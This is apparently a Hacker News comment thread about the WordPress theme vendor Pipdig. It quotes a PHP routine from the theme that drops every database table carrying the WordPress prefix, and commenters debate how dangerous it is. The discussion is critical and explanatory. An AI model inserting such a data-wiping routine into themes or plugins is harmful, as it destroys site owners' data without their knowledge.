WordPress theme provider Pipdig using customer sites to DDoS competitors

Re:WordPress theme provider Pipdig using customer sites to D... by reustle on Sunday March 31, 2019 @10:22PM (#19539908)

A developer at Pipdig wrote these lines of code and shipped it, I wonder how they felt.

    foreach ($tables as $table) {
        $wpdb->query("DROP TABLE $table");
    }

[ Parent | on HN ]

Re:WordPress theme provider Pipdig using customer sites to D... by 29ssyg on Monday April 01, 2019 @04:10AM (#19541428)

Feels right to remind people to keep backups :P

[ Parent | on HN ]

Re:WordPress theme provider Pipdig using customer sites to D... by Ayesh on Monday April 01, 2019 @01:46AM (#19540835)

While I don't disagree that this is horrible, perhaps the $tables array is hardcoded array.

[ Parent | on HN ]

Re:WordPress theme provider Pipdig using customer sites to D... by corobo on Monday April 01, 2019 @02:22AM (#19540974)

  global $wpdb;
  $prefix = str_replace('_', '\_', $wpdb->prefix);
  $tables = $wpdb->get_col("SHOW TABLES LIKE '{$prefix}%'");
  foreach ($tables as $table) {
   $wpdb->query("DROP TABLE $table");
  }

Essentially for those who aren't familiar with WordPress databases - this drops all tables relating to the WordPress install

[ Parent | on HN ]

Re:WordPress theme provider Pipdig using customer sites to D... by dajonker on Monday April 01, 2019 @02:04AM (#19540906)

It is not, you can check the post for the full context.

[ Parent | on HN ]

Re:WordPress theme provider Pipdig using customer sites to D... by gadgetoid on Monday April 01, 2019 @02:19AM (#19540967)

Or, better still, an Archive.org snapshot of the commit that added this very code: https://web.archive.org/web/20190331195338/bitbucket.org/pip...

(As a resident geek, I was asked to look into this by a friend)

[ Parent | on HN ]

Re:WordPress theme provider Pipdig using customer sites to D... by aasasd on Monday April 01, 2019 @07:37AM (#19542315)

For good measure, the commit seems to be removed from the original repo.

[ Parent | on HN ]

Re:WordPress theme provider Pipdig using customer sites to D... by ivanhoe on Monday April 01, 2019 @03:16AM (#19541205)

It's pretty much the same as if it was hardcoded, it drops all tables that have a name starting with the WP prefix. It's extremely ugly, but it's not unsafe (if your plan is removing all WP related tables from the DB).

[ Parent | on HN ]